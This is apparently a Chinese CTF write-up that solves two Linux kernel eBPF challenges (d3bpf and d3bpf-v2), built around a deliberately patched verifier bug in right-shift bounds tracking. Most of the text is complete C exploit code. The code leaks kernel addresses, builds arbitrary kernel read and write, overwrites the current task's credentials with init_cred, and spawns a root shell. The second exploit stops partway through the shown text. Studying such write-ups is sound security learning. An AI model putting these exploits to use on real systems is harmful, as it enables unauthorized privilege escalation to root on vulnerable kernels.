文章目录
- 前言
- d3bpf
- d3bpf-v2
- 泄漏 map_addr
- 泄漏 koffset
- 任意地址读写
前言
题目链接
虽然 ebpf
的利用热潮已经过去,但是作为一个刚刚接触内核利用的菜鸡,还是觉得有必要学习学习 ebpf
相关的漏洞利用,当然笔者不会在此花费太多时间,之前复现过几个 CVE
,发现对于边界类越界漏洞的利用都大同小异。然后笔者找到了两个 CTF
中的题目来练习练习。
d3bpf
smep/smap/kaslr
全开,然后内核版本为 v5.11.0
,这题有非预期,作者忘记 patch cve-2021-3490
了
qemu-system-x86_64 \
-m 128M \
-kernel bzImage \
-initrd rootfs.cpio \
-append 'console=ttyS0 kaslr quiet' \
-monitor /dev/null \
-cpu kvm64,+smep,+smap \
-smp cores=1,threads=1 \
-nographic \
-s
然后人为 patch
了一个漏洞:
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 37581919e..8e98d4af5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
- if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ if (umin_val >= insn_bitness) {
+ if (alu32)
+ __mark_reg32_known(dst_reg, 0);
+ else
+ __mark_reg_known_zero(dst_reg);
break;
}
if (alu32)
在 X86_64
下,对于 64 位寄存器进行右移操作时,如果操作数大于 63,那么大于 63 的部分会被忽略(也就是只有操作数的低 6 位是有效的),所以这里的利用是针对架构的。但是在漏洞分支中,当操作数大于 63/31 时,直接将寄存器设置成了常数 0,那么这里是存在问题的,比如:
BPF_MOV64_IMM(BPF_REG_8, 64),
BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_8),
那么这里会直接将 R6
设置为 0,但是如果我们传入的 R6 = 1
,那么 1 >> 64
还是等于 1,所以这里就成功构造了一个验证时为 0,实际运行时为 1 的寄存器 R6
,后面的利用就比较套路了。
这里说一下,为什么不直接执行:BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 64)
,因为会报错:
12: (77) r6 >>= 64
invalid shift 64
这里会检查到 64
的 shift
是无效的。当然这里大家可以思考一下如下代码:
// gcc demo.c
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long long a = 1;
unsigned long long b = a >> 64;
unsigned long long c = 1ULL >> 64;
printf("b = %llu\nc = %llu\n", b, c);
return 0;
}
/*
输出:
b = 1
c = 0
*/
提示:这里可以直接
objdump
看下这两个移位操作对应的汇编指令,当然或许已经被优化的看不出来了
这里我重新编译了一个 v5.11.0
的内核方便调试,最后 exp
如下:
v5.11.0
对alu_limit
的计算是存在漏洞的,所以这里不需要进行绕过
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include "bpf_insn.h"
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(2);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}
static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}
static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}
static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,
};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}
int sockets[2];
int map_fd;
int expmap_fd;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;
uint64_t array_map_ops = 0xffffffff822362e0;
uint64_t init_cred = 0xffffffff82e891a0;
uint64_t init_task = 0xffffffff82e1b400;
uint64_t init_nsproxy = 0xffffffff82e88f60;
uint64_t map_addr = -1;
uint64_t koffset = -1;
uint64_t kbase = -1;
uint64_t tag = 0x6159617a6f616958;
uint64_t current_task;
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_1, 3), // r1 = [map_fd] = bpf_map ptr1
BPF_MOV64_IMM(BPF_REG_6, 0), // r6 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8), // *(uint64_t*)(fp - 8) = r6 = 0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10), // r7 = r10 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8), // r7 = r7 - 8 = fp - 8
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7), // r2 = r7 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map ptr1, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = r0 = value_buf1 ptr
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0), // r6 = *(uint64_t*)r9 = value_buf1[0] = 1
BPF_MOV64_IMM(BPF_REG_8, 64), // r8 = 64
BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_8), // r6 = r6 >> 64 = 1 >> 64 = 1 [verifier 0]
BPF_LD_MAP_FD(BPF_REG_1, 4), // r1 = [expmap_fd] = bpf_map ptr2
BPF_MOV64_IMM(BPF_REG_8, 0), // r8 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8), // *(uint64_t*)(fp - 8) = r8 = 0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10), // r7 = r10 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8), // r7 = r7 - 8 = fp - 8
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7), // r2 = r7 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map ptr2, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // r7 = r0 = value_buf2 addr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // r6 = r6 * 0x110 = 1 * 0x110 = 0x110
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 = r7 - r6 = value_buf2 addr - 0x110
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // r8 = *(uint64_t*)r7 = value_buf2[-0x110/8] = array_map_ops
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0x18), // *(uint64_t*)(r9 +0x18) = value_buf1[3] = r8 = array_map_ops
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8), // r2 = r8 = array_map_ops
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0xc0), // r8 = *(uint64_t*)(r7 +0xc0) = value_buf2[-(0x110-0xc0)/8] = map_addr
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0x20), // *(uint64_t*)(r9 +0x20) = value_buf1[4] = r8 = map_addr
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 8), // r8 = *(uint64_t*)(r9 +8) = value_buf1[1] = arb_read addr
BPF_JMP_IMM(BPF_JEQ, BPF_REG_8, 0, 1), // if arb_read addr == NULL goto pc+1
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0x40), // *(uint64_t*)(r7 +0x40) = value_buf2[-(0x110-0x40)/8] = btf = r8
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0x10), // r8 = value_buf1[2] = fake_ops
BPF_JMP_IMM(BPF_JEQ, BPF_REG_8, 0, 4), // if arb_write flag == 0 goto pc+4
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), // expmap's bpf_map_ops = r8 = fake_ops
BPF_ST_MEM(BPF_W, BPF_REG_7, 0x18, BPF_MAP_TYPE_STACK), // map_type = BPF_MAP_TYPE_STACK
BPF_ST_MEM(BPF_W, BPF_REG_7, 0x24, -1), // max_entries = -1
BPF_ST_MEM(BPF_W, BPF_REG_7, 0x2c, 0), // spin_lock_off = 0
BPF_ALU64_IMM(BPF_MOV, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &prog,
.insn_cnt = sizeof(prog) / sizeof(prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void trigger() {
char buffer[64];
write(sockets[0], buffer, sizeof(buffer));
}
void prep() {
value1 = (uint64_t*)calloc(0x2000, 1);
value2 = (uint64_t*)calloc(0x2000, 1);
prctl(PR_SET_NAME, "XiaozaYa");
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (expmap_fd < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()"), err_exit("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()");
// puts(bpf_log_buf);
}
uint32_t arb_read_4_byte(uint64_t addr) {
value1[0] = 1;
value1[1] = addr - 0x58;
value1[2] = 0;
bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);
trigger();
return bpf_map_get_info_by_fd(expmap_fd);
}
uint64_t arb_read(uint64_t addr) {
uint64_t lo = arb_read_4_byte(addr);
uint64_t hi = arb_read_4_byte(addr+4);
return (hi << 32) | lo;
}
void prep_arb_write() {
uint64_t buf[0x200/8] = { 0 };
value1[0] = 1;
value1[1] = 0;
value1[2] = map_addr+0x110+0x20;
uint64_t fake_ops[] = {
0x0,0x0,0x0,0x0,
0xffffffff81239770,
0xffffffff8123ac60,
0x0,
0xffffffff8123a060,
0xffffffff81239870,
0x0,
0x0,
0xffffffff81217cf0,
0x0,
0xffffffff81217ac0,
0x0,
0xffffffff812399f0,
0xffffffff81239f20,
0xffffffff812398b0,
0xffffffff81239870,
0x0,
0x0,
0x0,
0x0,
0xffffffff8123a530,
0x0,
0xffffffff81239d00,
0xffffffff8123a930,
0x0,
0x0,
0x0,
0xffffffff81239800,
0xffffffff81239830,
0xffffffff81239c90,
0x0,
0x0,
0x0,
0x0,
0xffffffff8123a8f0,
0xffffffff825cef67,
0xffffffff836b4880,
0xffffffff82236420
};
for (int i = 0; i < sizeof(fake_ops) / 8; i++) {
if (fake_ops[i]) fake_ops[i] += koffset;
}
memcpy(value2, fake_ops, sizeof(fake_ops));
bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);
trigger();
}
void arb_write_4_byte(uint64_t addr, uint32_t val) {
value2[0] = val - 1;
bpf_map_update_elem(expmap_fd, &key, value2, addr);
}
void arb_write(uint64_t addr, uint64_t val) {
arb_write_4_byte(addr, val&0xffffffff);
arb_write_4_byte(addr+4, (val>>32)&0xffffffff);
}
void leak() {
uint64_t buf[0x2000/8] = { 0 };
value1[0] = 1;
value1[1] = 0;
value1[2] = 0;
bpf_map_update_elem(map_fd, &key, value1, BPF_ANY);
bpf_map_update_elem(expmap_fd, &key, value2, BPF_ANY);
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd, &key, buf);
// binary_dump("LEAK DATA", buf, 0x100);
if ((buf[3] & 0xffffffff00000fff) == (array_map_ops & 0xffffffff00000fff)) {
koffset = buf[3] - array_map_ops;
kbase = 0xffffffff81000000 + koffset;
map_addr = buf[4] - 0xc0;
hexx("koffset", koffset);
hexx("kbase", kbase);
hexx("map_addr", map_addr);
}
if (koffset == -1) err_exit("FAILED to leak kernel base");
array_map_ops += koffset;
init_cred += koffset;
init_task += koffset;
init_nsproxy += koffset;
hexx("init_cred", init_cred);
hexx("init_task", init_task);
hexx("init_nsproxy", init_nsproxy);
current_task = init_task;
for (;;) {
// hexx("current_task", current_task);
if (arb_read(current_task+0xae8) == tag) {
break;
}
current_task = arb_read(current_task + 0x820) - 0x818;
}
hexx("current_task", current_task);
}
int main(int argc, char** argv, char** envp)
{
init();
prep();
leak();
prep_arb_write();
arb_write_4_byte(current_task+0xad8, init_cred&0xffffffff);
arb_write_4_byte(current_task+0xad8+2, (init_cred>>16)&0xffffffff);
arb_write_4_byte(current_task+0xad0, init_cred&0xffffffff);
arb_write_4_byte(current_task+0xad0+2, (init_cred>>16)&0xffffffff);
arb_write_4_byte(current_task+0xb40, init_nsproxy&0xffffffff);
arb_write_4_byte(current_task+0xb40+2, (init_nsproxy>>16)&0xffffffff);
get_root_shell();
puts("EXP NERVER END!");
return 0;
}
效果如下:
d3bpf-v2
与 d3bpf
漏洞一模一样,主要就是内核版本切换到了 v5.16.12
,在这个版本 ALU Sanitation
经过了两次加强:
alu_limit
的计算方式发生了改变,不是使用指针寄存器的当前位置,而是使用一个 offset 寄存器- 被认为是常数的寄存器赋值会被直接更改为常量赋值
所以之前的绕过方式已经不再管用了,这里展示了一个思路:利用 bpf_skb_load_bytes
函数构造栈溢出修改 ebpf
上 array value ptr
实现任意地址读写
bpf_skb_load_bytes
函数定义如下:其将一个 socket
中的数据读到 ebpf
栈上
BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
void *, to, u32, len)
{
void *ptr;
if (unlikely(offset > 0xffff))
goto err_clear;
ptr = skb_header_pointer(skb, offset, len, to);
if (unlikely(!ptr))
goto err_clear;
if (ptr != to)
memcpy(to, ptr, len);
return 0;
err_clear:
memset(to, 0, len);
return -EFAULT;
}
static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
.func = bpf_skb_load_bytes,
.gpl_only = false,
.ret_type = RET_INTEGER,
.arg1_type = ARG_PTR_TO_CTX,
.arg2_type = ARG_ANYTHING,
.arg3_type = ARG_PTR_TO_UNINIT_MEM,
.arg4_type = ARG_CONST_SIZE,
}
我们通过漏洞获得一个运行时值为 1,而 verifier
认定为 0 的寄存器 R6
,然后可以指定一个很长的 len
从而实现 ebpf
栈溢出,而且值得注意的是这里复制数据采用的函数是 memcpy
,其是不存在 \x00
截断的。
泄漏 map_addr
我们可以先将 map value ptr
保存到 ebpf
栈上:
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8), // *(fp -8) = value1 ptr
然后利用 R6
构造栈溢出 2 字节的 len
修改保存在 ebpf
栈上的 value1 ptr
的低 2 字节为 \x?0\xc0
取泄漏 map_addr
。这里说下理由,我们知道 map_addr
的低 2 字节为 \x?0\x00
,而 map_addr+0xc0
的位置是 wait_list
,其保存着 map_addr
的地址,即 wait_list
的低 2 字节为 \x?0\xc0
,这样我们可以检查 value1[0]
是否是一个堆地址且 &0xfff == 0x0c0
这样就可以泄漏 map_addr
了:
泄漏 koffset
泄漏了 map_addr
后就比较简单了,利用 R6
构造栈溢出 8 字节的 len
修改保存在 ebpf
栈上的 value1 ptr
为 map_addr
即可泄漏出 array_map_ops
中的函数地址从而泄漏 koffset
任意地址读写
泄漏了 koffset
后,init_task/init_cred
等地址就知道了,对于任意读跟泄漏 koffset
一样,利用 R6
构造栈溢出 8 字节的 len
修改保存在 ebpf
栈上的 value1 ptr
为 target_addr
即可,利用任意读,我们遍历 init_task
的 tasks
链表泄漏 current_task
地址
然后同理利用 R6
构造栈溢出 8 字节的 len
修改保存在 ebpf
栈上的 value1 ptr
为 target_addr
即可实现任意写,这里我们直接修改 current_task
的 cred/real_cred
为 init_cred
即可
exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/bpf.h>
#include "bpf_insn.h"
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(2);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
static inline int bpf(int cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
unsigned int value_size, unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
};
return bpf(BPF_MAP_CREATE, &attr);
}
static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
};
return bpf(BPF_MAP_DELETE_ELEM, &attr);
}
static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t)key,
.next_key = (uint64_t)next_key,
};
return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}
static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
struct bpf_map_info info;
union bpf_attr attr = {
.info.bpf_fd = map_fd,
.info.info_len = sizeof(info),
.info.info = (uint64_t)&info,
};
bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
return info.btf_id;
}
int sockets[2];
int map_fd1;
int map_fd2;
int prog_fd;
uint32_t key;
uint64_t* value1;
uint64_t* value2;
char trigger_buf[0x2000];
uint64_t array_map_ops = 0xffffffff82238f20;
uint64_t init_cred = 0xffffffff82e90880;
uint64_t init_task = 0xffffffff82e1b4c0;
uint64_t init_nsproxy = 0xffffffff82e90640;
uint64_t map_addr = -1;
uint64_t koffset = -1;
uint64_t kbase = -1;
uint64_t tag = 0x6159617a6f616958;
uint64_t current_task;
struct bpf_insn prog[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1), // r7 = ctx
BPF_LD_MAP_FD(BPF_REG_1, 3), // r1 = [map_fd1]
BPF_MOV64_IMM(BPF_REG_6, 0), // r6 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8), // *(fp -8) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // r2 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), // r2 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map1 ptr, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = value1 ptr
BPF_LD_MAP_FD(BPF_REG_1, 4), // r1 = [map_fd2]
BPF_MOV64_IMM(BPF_REG_5, 0), // r5 = 0
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_5, -8), // *(fp -8) = 0
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), // r2 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), // r2 = fp - 8
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // args: r1 = bpf_map2 ptr, r2 = fp - 8
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // if r0 <= r0 goto pc+1 right
BPF_EXIT_INSN(), // exit
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = value2 ptr
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_9, -8), // *(fp -8) = value1 ptr
BPF_MOV64_IMM(BPF_REG_6, 1), // r6 = 1
BPF_MOV64_IMM(BPF_REG_5, 64), // r8 = 64
BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_5), // r6 = r6 >> 64 = 1 >> 64 = 1 [verifier 0]
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 0), // r5 = value2[0] = len
BPF_JMP_IMM(BPF_JNE, BPF_REG_5, 0xdead, 2), // leak map_addr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 2), // r6 = 2 [verifier 0]
BPF_JMP_IMM(BPF_JEQ, BPF_REG_5, 0xdead, 1), // jmp
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 8), // r6 = 8 [verifier 0]
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7), // r1 = ctx
BPF_MOV64_IMM(BPF_REG_2, 0), // r2 = 0
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), // r3 = fp
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16), // r3 = fp -8
BPF_MOV64_IMM(BPF_REG_4, 8), // r4 = 8
BPF_ALU64_REG(BPF_ADD, BPF_REG_4, BPF_REG_6), // r4 = 10 [verifier 8]
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), // args: r1 = ctx, r2 = 0, r3 = fp -8, r4 = 10 [verifier 8]
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_10, -8), // r9 = value1 ptr
BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0), // r5 = value2[0] = len
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdead, 4), // jmp
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xbeef, 3), // jmp
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 8), // r5 = value2[1]
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_5, 0), // value1[0] = value2[0]
BPF_JMP_IMM(BPF_JEQ, BPF_REG_4, 0xdeef, 2),
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_9, 0), // r5 = value1[0]
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_5, 0), // value2[0] = value1[0]
BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
BPF_EXIT_INSN(), // exit()
};
#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = (uint64_t) &prog,
.insn_cnt = sizeof(prog) / sizeof(prog[0]),
.license = (uint64_t) "GPL",
.log_level = 2,
.log_buf = (uint64_t) bpf_log_buf,
.log_size = BPF_LOG_SZ,
};
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void trigger() {
write(sockets[0], trigger_buf, 0x100);
}
void prep() {
value1 = (uint64_t*)calloc(0x2000, 1);
value2 = (uint64_t*)calloc(0x2000, 1);
prctl(PR_SET_NAME, "XiaozaYa");
map_fd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd1 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
map_fd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1);
if (map_fd2 < 0) perror("BPF_MAP_CREATE"), err_exit("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr);
if (prog_fd < 0) puts(bpf_log_buf), perror("BPF_PROG_LOAD"), err_exit("BPF_PROG_LOAD");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0)
perror("socketpair()"), err_exit("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0)
perror("socketpair SO_ATTACH_BPF"), err_exit("socketpair()");
// puts(bpf_log_buf);
